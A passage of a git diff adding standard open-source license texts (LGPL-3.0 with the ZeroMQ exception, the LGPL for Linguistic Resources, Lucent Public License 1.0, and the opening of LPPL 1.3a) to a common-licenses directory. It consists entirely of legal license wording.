+A "Combined Work" is a work produced by combining or linking an Application
+with the Library. The particular version of the Library with which the Combined
+Work was made is also called the "Linked Version".
+
+
+
+The "Minimal Corresponding Source" for a Combined Work means the Corresponding
+Source for the Combined Work, excluding any source code for portions of the
+Combined Work that, considered in isolation, are based on the Application,
+and not on the Linked Version.
+
+
+
+The "Corresponding Application Code" for a Combined Work means the object
+code and/or source code for the Application, including any data and utility
+programs needed for reproducing the Combined Work from the Application, but
+excluding the System Libraries of the Combined Work.
+
+ 1. Exception to Section 3 of the GNU GPL.
+
+You may convey a covered work under sections 3 and 4 of this License without
+being bound by section 3 of the GNU GPL.
+
+ 2. Conveying Modified Versions.
+
+If you modify a copy of the Library, and, in your modifications, a facility
+refers to a function or data to be supplied by an Application that uses the
+facility (other than as an argument passed when the facility is invoked),
+then you may convey a copy of the modified version:
+
+a) under this License, provided that you make a good faith effort to ensure
+that, in the event an Application does not supply the function or data, the
+facility still operates, and performs whatever part of its purpose remains
+meaningful, or
+
+b) under the GNU GPL, with none of the additional permissions of this License
+applicable to that copy.
+
+ 3. Object Code Incorporating Material from Library Header Files.
+
+The object code form of an Application may incorporate material from a header
+file that is part of the Library. You may convey such object code under terms
+of your choice, provided that, if the incorporated material is not limited
+to numerical parameters, data structure layouts and accessors, or small macros,
+inline functions and templates (ten or fewer lines in length), you do both
+of the following:
+
+a) Give prominent notice with each copy of the object code that the Library
+is used in it and that the Library and its use are covered by this License.
+
+b) Accompany the object code with a copy of the GNU GPL and this license document.
+
+ 4. Combined Works.
+
+You may convey a Combined Work under terms of your choice that, taken together,
+effectively do not restrict modification of the portions of the Library contained
+in the Combined Work and reverse engineering for debugging such modifications,
+if you also do each of the following:
+
+a) Give prominent notice with each copy of the Combined Work that the Library
+is used in it and that the Library and its use are covered by this License.
+
+b) Accompany the Combined Work with a copy of the GNU GPL and this license
+document.
+
+c) For a Combined Work that displays copyright notices during execution, include
+the copyright notice for the Library among these notices, as well as a reference
+directing the user to the copies of the GNU GPL and this license document.
+
+ d) Do one of the following:
+
+0) Convey the Minimal Corresponding Source under the terms of this License,
+and the Corresponding Application Code in a form suitable for, and under terms
+that permit, the user to recombine or relink the Application with a modified
+version of the Linked Version to produce a modified Combined Work, in the
+manner specified by section 6 of the GNU GPL for conveying Corresponding Source.
+
+1) Use a suitable shared library mechanism for linking with the Library. A
+suitable mechanism is one that (a) uses at run time a copy of the Library
+already present on the user's computer system, and (b) will operate properly
+with a modified version of the Library that is interface-compatible with the
+Linked Version.
+
+e) Provide Installation Information, but only if you would otherwise be required
+to provide such information under section 6 of the GNU GPL, and only to the
+extent that such information is necessary to install and execute a modified
+version of the Combined Work produced by recombining or relinking the Application
+with a modified version of the Linked Version. (If you use option 4d0, the
+Installation Information must accompany the Minimal Corresponding Source and
+Corresponding Application Code. If you use option 4d1, you must provide the
+Installation Information in the manner specified by section 6 of the GNU GPL
+for conveying Corresponding Source.)
+
+ 5. Combined Libraries.
+
+You may place library facilities that are a work based on the Library side
+by side in a single library together with other library facilities that are
+not Applications and are not covered by this License, and convey such a combined
+library under terms of your choice, if you do both of the following:
+
+a) Accompany the combined library with a copy of the same work based on the
+Library, uncombined with any other library facilities, conveyed under the
+terms of this License.
+
+b) Give prominent notice with the combined library that part of it is a work
+based on the Library, and explaining where to find the accompanying uncombined
+form of the same work.
+
+ 6. Revised Versions of the GNU Lesser General Public License.
+
+The Free Software Foundation may publish revised and/or new versions of the
+GNU Lesser General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to address
+new problems or concerns.
+
+Each version is given a distinguishing version number. If the Library as you
+received it specifies that a certain numbered version of the GNU Lesser General
+Public License "or any later version" applies to it, you have the option of
+following the terms and conditions either of that published version or of
+any later version published by the Free Software Foundation. If the Library
+as you received it does not specify a version number of the GNU Lesser General
+Public License, you may choose any version of the GNU Lesser General Public
+License ever published by the Free Software Foundation.
+
+If the Library as you received it specifies that a proxy can decide whether
+future versions of the GNU Lesser General Public License shall apply, that
+proxy's public statement of acceptance of any version is permanent authorization
+for you to choose that version for the Library.
diff --git a/meta/files/common-licenses/LGPL-3.0-with-zeromq-exception b/meta/files/common-licenses/LGPL-3.0-with-zeromq-exception
new file mode 100644
index 0000000000..02e943c4ac
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-3.0-with-zeromq-exception
@@ -0,0 +1,181 @@
+ GNU LESSER GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+
+ This version of the GNU Lesser General Public License incorporates
+the terms and conditions of version 3 of the GNU General Public
+License, supplemented by the additional permissions listed below.
+
+ 0. Additional Definitions.
+
+ As used herein, "this License" refers to version 3 of the GNU Lesser
+General Public License, and the "GNU GPL" refers to version 3 of the GNU
+General Public License.
+
+ "The Library" refers to a covered work governed by this License,
+other than an Application or a Combined Work as defined below.
+
+ An "Application" is any work that makes use of an interface provided
+by the Library, but which is not otherwise based on the Library.
+Defining a subclass of a class defined by the Library is deemed a mode
+of using an interface provided by the Library.
+
+ A "Combined Work" is a work produced by combining or linking an
+Application with the Library. The particular version of the Library
+with which the Combined Work was made is also called the "Linked
+Version".
+
+ The "Minimal Corresponding Source" for a Combined Work means the
+Corresponding Source for the Combined Work, excluding any source code
+for portions of the Combined Work that, considered in isolation, are
+based on the Application, and not on the Linked Version.
+
+ The "Corresponding Application Code" for a Combined Work means the
+object code and/or source code for the Application, including any data
+and utility programs needed for reproducing the Combined Work from the
+Application, but excluding the System Libraries of the Combined Work.
+
+ 1. Exception to Section 3 of the GNU GPL.
+
+ You may convey a covered work under sections 3 and 4 of this License
+without being bound by section 3 of the GNU GPL.
+
+ 2. Conveying Modified Versions.
+
+ If you modify a copy of the Library, and, in your modifications, a
+facility refers to a function or data to be supplied by an Application
+that uses the facility (other than as an argument passed when the
+facility is invoked), then you may convey a copy of the modified
+version:
+
+ a) under this License, provided that you make a good faith effort to
+ ensure that, in the event an Application does not supply the
+ function or data, the facility still operates, and performs
+ whatever part of its purpose remains meaningful, or
+
+ b) under the GNU GPL, with none of the additional permissions of
+ this License applicable to that copy.
+
+ 3. Object Code Incorporating Material from Library Header Files.
+
+ The object code form of an Application may incorporate material from
+a header file that is part of the Library. You may convey such object
+code under terms of your choice, provided that, if the incorporated
+material is not limited to numerical parameters, data structure
+layouts and accessors, or small macros, inline functions and templates
+(ten or fewer lines in length), you do both of the following:
+
+ a) Give prominent notice with each copy of the object code that the
+ Library is used in it and that the Library and its use are
+ covered by this License.
+
+ b) Accompany the object code with a copy of the GNU GPL and this license
+ document.
+
+ 4. Combined Works.
+
+ You may convey a Combined Work under terms of your choice that,
+taken together, effectively do not restrict modification of the
+portions of the Library contained in the Combined Work and reverse
+engineering for debugging such modifications, if you also do each of
+the following:
+
+ a) Give prominent notice with each copy of the Combined Work that
+ the Library is used in it and that the Library and its use are
+ covered by this License.
+
+ b) Accompany the Combined Work with a copy of the GNU GPL and this license
+ document.
+
+ c) For a Combined Work that displays copyright notices during
+ execution, include the copyright notice for the Library among
+ these notices, as well as a reference directing the user to the
+ copies of the GNU GPL and this license document.
+
+ d) Do one of the following:
+
+ 0) Convey the Minimal Corresponding Source under the terms of this
+ License, and the Corresponding Application Code in a form
+ suitable for, and under terms that permit, the user to
+ recombine or relink the Application with a modified version of
+ the Linked Version to produce a modified Combined Work, in the
+ manner specified by section 6 of the GNU GPL for conveying
+ Corresponding Source.
+
+ 1) Use a suitable shared library mechanism for linking with the
+ Library. A suitable mechanism is one that (a) uses at run time
+ a copy of the Library already present on the user's computer
+ system, and (b) will operate properly with a modified version
+ of the Library that is interface-compatible with the Linked
+ Version.
+
+ e) Provide Installation Information, but only if you would otherwise
+ be required to provide such information under section 6 of the
+ GNU GPL, and only to the extent that such information is
+ necessary to install and execute a modified version of the
+ Combined Work produced by recombining or relinking the
+ Application with a modified version of the Linked Version. (If
+ you use option 4d0, the Installation Information must accompany
+ the Minimal Corresponding Source and Corresponding Application
+ Code. If you use option 4d1, you must provide the Installation
+ Information in the manner specified by section 6 of the GNU GPL
+ for conveying Corresponding Source.)
+
+ 5. Combined Libraries.
+
+ You may place library facilities that are a work based on the
+Library side by side in a single library together with other library
+facilities that are not Applications and are not covered by this
+License, and convey such a combined library under terms of your
+choice, if you do both of the following:
+
+ a) Accompany the combined library with a copy of the same work based
+ on the Library, uncombined with any other library facilities,
+ conveyed under the terms of this License.
+
+ b) Give prominent notice with the combined library that part of it
+ is a work based on the Library, and explaining where to find the
+ accompanying uncombined form of the same work.
+
+ 6. Revised Versions of the GNU Lesser General Public License.
+
+ The Free Software Foundation may publish revised and/or new versions
+of the GNU Lesser General Public License from time to time. Such new
+versions will be similar in spirit to the present version, but may
+differ in detail to address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Library as you received it specifies that a certain numbered version
+of the GNU Lesser General Public License "or any later version"
+applies to it, you have the option of following the terms and
+conditions either of that published version or of any later version
+published by the Free Software Foundation. If the Library as you
+received it does not specify a version number of the GNU Lesser
+General Public License, you may choose any version of the GNU Lesser
+General Public License ever published by the Free Software Foundation.
+
+ If the Library as you received it specifies that a proxy can decide
+whether future versions of the GNU Lesser General Public License shall
+apply, that proxy's public statement of acceptance of any version is
+permanent authorization for you to choose that version for the
+Library.
+
+--------------------------------------------------------------------------------
+
+ SPECIAL EXCEPTION GRANTED BY COPYRIGHT HOLDERS
+
+As a special exception, copyright holders give you permission to link this
+library with independent modules to produce an executable, regardless of
+the license terms of these independent modules, and to copy and distribute
+the resulting executable under terms of your choice, provided that you also
+meet, for each linked independent module, the terms and conditions of
+the license of that module. An independent module is a module which is not
+derived from or based on this library. If you modify this library, you must
+extend this exception to your version of the library.
+
+Note: this exception relieves you of any obligations under sections 4 and 5
+of this license, and section 6 of the GNU General Public License.
diff --git a/meta/files/common-licenses/LGPLLR b/meta/files/common-licenses/LGPLLR
new file mode 100644
index 0000000000..73d8040e98
--- /dev/null
+++ b/meta/files/common-licenses/LGPLLR
@@ -0,0 +1,89 @@
+Lesser General Public License For Linguistic Resources
+
+Preamble
+
+The licenses for most data are designed to take away your freedom to share and change it. By contrast, this License is intended to guarantee your freedom to share and change free data--to make sure the data are free for all their users.
+
+This License, the Lesser General Public License for Linguistic Resources, applies to some specially designated linguistic resources -- typically lexicons and grammars.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any Linguistic Resource which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License for Linguistic Resources (also called "this License"). Each licensee is addressed as "you".
+
+A "linguistic resource" means a collection of data about language prepared so as to be used with application programs.
+
+The "Linguistic Resource", below, refers to any such work which has been distributed under these terms. A "work based on the Linguistic Resource" means either the Linguistic Resource or any derivative work under copyright law: that is to say, a work containing the Linguistic Resource or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".)
+
+"Legible form" for a linguistic resource means the preferred form of the resource for making modifications to it.
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Linguistic Resource is not restricted, and output from such a program is covered only if its contents constitute a work based on the Linguistic Resource (independent of the use of the Linguistic Resource in a tool for writing it). Whether that is true depends on what the program that uses the Linguistic Resource does.
+
+1. You may copy and distribute verbatim copies of the Linguistic Resource as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Linguistic Resource.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Linguistic Resource or any portion of it, thus forming a work based on the Linguistic Resource, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) The modified work must itself be a linguistic resource.
+
+ b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change.
+
+ c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Linguistic Resource, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Linguistic Resource, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Linguistic Resource.
+
+In addition, mere aggregation of another work not based on the Linguistic Resource with the Linguistic Resource (or with a work based on the Linguistic Resource) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. A program that contains no derivative of any portion of the Linguistic Resource, but is designed to work with the Linguistic Resource (or an encrypted form of the Linguistic Resource) by reading it or being compiled or linked with it, is called a "work that uses the Linguistic Resource". Such a work, in isolation, is not a derivative work of the Linguistic Resource, and therefore falls outside the scope of this License.
+
+However, combining a "work that uses the Linguistic Resource" with the Linguistic Resource (or an encrypted form of the Linguistic Resource) creates a package that is a derivative of the Linguistic Resource (because it contains portions of the Linguistic Resource), rather than a "work that uses the Linguistic Resource". If the package is a derivative of the Linguistic Resource, you may distribute the package under the terms of Section 4. Any works containing that package also fall under Section 4.
+
+4. As an exception to the Sections above, you may also combine a "work that uses the Linguistic Resource" with the Linguistic Resource (or an encrypted form of the Linguistic Resource) to produce a package containing portions of the Linguistic Resource, and distribute that package under terms of your choice, provided that the terms permit modification of the package for the customer's own use and reverse engineering for debugging such modifications.
+
+You must give prominent notice with each copy of the package that the Linguistic Resource is used in it and that the Linguistic Resource and its use are covered by this License. You must supply a copy of this License. If the package during execution displays copyright notices, you must include the copyright notice for the Linguistic Resource among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things:
+
+ a) Accompany the package with the complete corresponding machine-readable legible form of the Linguistic Resource including whatever changes were used in the package (which must be distributed under Sections 1 and 2 above); and, if the package contains an encrypted form of the Linguistic Resource, with the complete machine-readable "work that uses the Linguistic Resource", as object code and/or source code, so that the user can modify the Linguistic Resource and then encrypt it to produce a modified package containing the modified Linguistic Resource.
+
+ b) Use a suitable mechanism for combining with the Linguistic Resource. A suitable mechanism is one that will operate properly with a modified version of the Linguistic Resource, if the user installs one, as long as the modified version is interface-compatible with the version that the package was made with.
+
+ c) Accompany the package with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 4a, above, for a charge no more than the cost of performing this distribution.
+
+ d) If distribution of the package is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place.
+
+ e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy.
+
+If the package includes an encrypted form of the Linguistic Resource, the required form of the "work that uses the Linguistic Resource" must include any data and utility programs needed for reproducing the package from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+It may happen that this requirement contradicts the license restrictions of proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Linguistic Resource together in a package that you distribute.
+
+5. You may not copy, modify, sublicense, link with, or distribute the Linguistic Resource except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Linguistic Resource is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+6. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Linguistic Resource or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Linguistic Resource (or any work based on the Linguistic Resource), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Linguistic Resource or works based on it.
+
+7. Each time you redistribute the Linguistic Resource (or any work based on the Linguistic Resource), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Linguistic Resource subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License.
+
+8. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Linguistic Resource at all. For example, if a patent license would not permit royalty-free redistribution of the Linguistic Resource by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Linguistic Resource.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free resource distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of data distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute resources through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+9. If the distribution and/or use of the Linguistic Resource is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Linguistic Resource under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+10. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License for Linguistic Resources from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Linguistic Resource specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Linguistic Resource does not specify a license version number, you may choose any version ever published by the Free Software Foundation.
+
+11. If you wish to incorporate parts of the Linguistic Resource into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission.
+
+ NO WARRANTY
+
+12. BECAUSE THE LINGUISTIC RESOURCE IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LINGUISTIC RESOURCE, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LINGUISTIC RESOURCE "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LINGUISTIC RESOURCE IS WITH YOU. SHOULD THE LINGUISTIC RESOURCE PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+13. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LINGUISTIC RESOURCE AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LINGUISTIC RESOURCE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LINGUISTIC RESOURCE TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
diff --git a/meta/files/common-licenses/LPL-1.0 b/meta/files/common-licenses/LPL-1.0
new file mode 100644
index 0000000000..8546bc2a2d
--- /dev/null
+++ b/meta/files/common-licenses/LPL-1.0
@@ -0,0 +1,81 @@
+Lucent Public License Version 1.0
+
+THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT.
+
+1. DEFINITIONS
+
+"Contribution" means:
+
+ a. in the case of <ORGANIZATION> ("<OWNER>"), the Original Program, and
+ b. in the case of each Contributor,
+
+ i. changes to the Program, and
+ ii. additions to the Program; where such changes and/or additions to the Program originate from and are "Contributed" by that particular Contributor.
+
+ A Contribution is "Contributed" by a Contributor only (i) if it was added to the Program by such Contributor itself or anyone acting on such Contributor's behalf, and (ii) the Contributor explicitly consents, in accordance with Section 3C, to characterization of the changes and/or additions as Contributions. Contributions do not include additions to the Program which: (i) are separate modules of software distributed in conjunction with the Program under their own license agreement, and (ii) are not derivative works of the Program.
+
+"Contributor" means <OWNER> and any other entity that has Contributed a Contribution to the Program.
+
+"Distributor" means a Recipient that distributes the Program, modifications to the Program, or any part thereof.
+
+"Licensed Patents" mean patent claims licensable by a Contributor which are necessarily infringed by the use or sale of its Contribution alone or when combined with the Program.
+
+"Original Program" means the original version of the software accompanying this Agreement as released by <OWNER>, including source code, object code and documentation, if any.
+
+"Program" means the Original Program and Contributions or any part thereof
+
+"Recipient" means anyone who receives the Program under this Agreement, including all Contributors.
+
+2. GRANT OF RIGHTS
+
+ a. Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, distribute and sublicense the Contribution of such Contributor, if any, and such derivative works, in source code and object code form.
+
+ b. Subject to the terms of this Agreement, each Contributor hereby grants Recipient a non-exclusive, worldwide, royalty-free patent license under Licensed Patents to make, use, sell, offer to sell, import and otherwise transfer the Contribution of such Contributor, if any, in source code and object code form. The patent license granted by a Contributor shall also apply to the combination of the Contribution of that Contributor and the Program if, at the time the Contribution is added by the Contributor, such addition of the Contribution causes such combination to be covered by the Licensed Patents. The patent license granted by a Contributor shall not apply to (i) any other combinations which include the Contribution, nor to (ii) Contributions of other Contributors. No hardware per se is licensed hereunder.
+
+ c. Recipient understands that although each Contributor grants the licenses to its Contributions set forth herein, no assurances are provided by any Contributor that the Program does not infringe the patent or other intellectual property rights of any other entity. Each Contributor disclaims any liability to Recipient for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, each Recipient hereby assumes sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow Recipient to distribute the Program, it is Recipient's responsibility to acquire that license before distributing the Program.
+
+ d. Each Contributor represents that to its knowledge it has sufficient copyright rights in its Contribution, if any, to grant the copyright license set forth in this Agreement.
+
+3. REQUIREMENTS
+
+ A. Distributor may choose to distribute the Program in any form under this Agreement or under its own license agreement, provided that:
+
+ 1. it complies with the terms and conditions of this Agreement;
+ 2. if the Program is distributed in source code or other tangible form, a copy of this Agreement or Distributor's own license agreement is included with each copy of the Program; and
+ 3. if distributed under Distributor's own license agreement, such license agreement:
+
+ a. effectively disclaims on behalf of all Contributors all warranties and conditions, express and implied, including warranties or conditions of title and non-infringement, and implied warranties or conditions of merchantability and fitness for a particular purpose;
+ b. effectively excludes on behalf of all Contributors all liability for damages, including direct, indirect, special, incidental and consequential damages, such as lost profits; and
+ c. states that any provisions which differ from this Agreement are offered by that Contributor alone and not by any other party.
+
+ B. Each Distributor must include the following in a conspicuous location in the Program:
+
+ Copyright (C) <YEAR>, <ORGANIZATION> and others. All Rights Reserved.
+
+ C. In addition, each Contributor must identify itself as the originator of its Contribution, if any, and indicate its consent to characterization of its additions and/or changes as a Contribution, in a manner that reasonably allows subsequent Recipients to identify the originator of the Contribution. Once consent is granted, it may not thereafter be revoked.
+
+4. COMMERCIAL DISTRIBUTION
+
+Commercial distributors of software may accept certain responsibilities with respect to end users, business partners and the like. While this license is intended to facilitate the commercial use of the Program, the Distributor who includes the Program in a commercial product offering should do so in a manner which does not create potential liability for Contributors. Therefore, if a Distributor includes the Program in a commercial product offering, such Distributor ("Commercial Distributor") hereby agrees to defend and indemnify every Contributor ("Indemnified Contributor") against any losses, damages and costs (collectively "Losses") arising from claims, lawsuits and other legal actions brought by a third party against the Indemnified Contributor to the extent caused by the acts or omissions of such Commercial Distributor in connection with its distribution of the Program in a commercial product offering. The obligations in this section do not apply to any claims or Losses relating to any actual or alleged intellectual property infringement. In order to qualify, an Indemnified Contributor must: a) promptly notify the Commercial Distributor in writing of such claim, and b) allow the Commercial Distributor to control, and cooperate with the Commercial Distributor in, the defense and any related settlement negotiations. The Indemnified Contributor may participate in any such claim at its own expense.
+
+For example, a Distributor might include the Program in a commercial product offering, Product X. That Distributor is then a Commercial Distributor. If that Commercial Distributor then makes performance claims, or offers warranties related to Product X, those performance claims and warranties are such Commercial Distributor's responsibility alone. Under this section, the Commercial Distributor would have to defend claims against the Contributors related to those performance claims and warranties, and if a court requires any Contributor to pay any damages as a result, the Commercial Distributor must pay those damages.
+
+5. NO WARRANTY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the appropriateness of using and distributing the Program and assumes all risks associated with its exercise of rights under this Agreement, including but not limited to the risks and costs of program errors, compliance with applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations.
+
+6. DISCLAIMER OF LIABILITY
+
+EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. GENERAL
+
+If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Agreement, and without further action by the parties hereto, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+If Recipient institutes patent litigation against a Contributor with respect to a patent applicable to software (including a cross-claim or counterclaim in a lawsuit), then any patent licenses granted by that Contributor to such Recipient under this Agreement shall terminate as of the date such litigation is filed. In addition, if Recipient institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Program itself (excluding combinations of the Program with other software or hardware) infringes such Recipient's patent(s), then such Recipient's rights granted under Section 2(b) shall terminate as of the date such litigation is filed.
+
+All Recipient's rights under this Agreement shall terminate if it fails to comply with any of the material terms or conditions of this Agreement and does not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If all Recipient's rights under this Agreement terminate, Recipient agrees to cease use and distribution of the Program as soon as reasonably practicable. However, Recipient's obligations under this Agreement and any licenses granted by Recipient relating to the Program shall continue and survive.
+
+<OWNER> may publish new versions (including revisions) of this Agreement from time to time. Each new version of the Agreement will be given a distinguishing version number. The Program (including Contributions) may always be distributed subject to the version of the Agreement under which it was received. In addition, after a new version of the Agreement is published, Contributor may elect to distribute the Program (including its Contributions) under the new version. No one other than <OWNER> has the right to modify this Agreement. Except as expressly stated in Sections 2(a) and 2(b) above, Recipient receives no rights or licenses to the intellectual property of any Contributor under this Agreement, whether expressly, by implication, estoppel or otherwise. All rights in the Program not expressly granted under this Agreement are reserved.
+
+This Agreement is governed by the laws of the State of <STATE> and the intellectual property laws of the United States of America. No party to this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights to a jury trial in any resulting litigation.
diff --git a/meta/files/common-licenses/LPPL-1.3a b/meta/files/common-licenses/LPPL-1.3a
new file mode 100644
index 0000000000..b159f90fdf
--- /dev/null
+++ b/meta/files/common-licenses/LPPL-1.3a
@@ -0,0 +1,175 @@
+The LaTeX Project Public License
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+LPPL Version 1.3a 2004-10-01
+
+Copyright 1999 2002-04 LaTeX3
+Project Everyone is allowed to distribute verbatim copies of this license document, but modification of it is not allowed.
+
+PREAMBLE
+========
+
+The LaTeX Project Public License (LPPL) is the primary license under which the the LaTeX kernel and the base LaTeX packages are distributed.
+
+You may use this license for any work of which you hold the copyright and which you wish to distribute. This license may be particularly suitable if your work is TeX-related (such as a LaTeX package), but you may use it with small modifications even if your work is unrelated to TeX.
+
+The section `WHETHER AND HOW TO DISTRIBUTE WORKS UNDER THIS LICENSE', below, gives instructions, examples, and recommendations for authors who are considering distributing their works under this license.
+
+This license gives conditions under which a work may be distributed and modified, as well as conditions under which modified versions of that work may be distributed.
+
+We, the LaTeX3 Project, believe that the conditions below give you the freedom to make and distribute modified versions of your work that conform with whatever technical specifications you wish while maintaining the availability, integrity, and reliability of that work. If you do not see how to achieve your goal while meeting these conditions, then read the document `cfgguide.tex' and `modguide.tex' in the base LaTeX distribution for suggestions.
+
+DEFINITIONS
+===========
+
+In this license document the following terms are used:
+
+`Work' Any work being distributed under this License. `Derived Work' Any work that under any applicable law is derived from the Work.
+
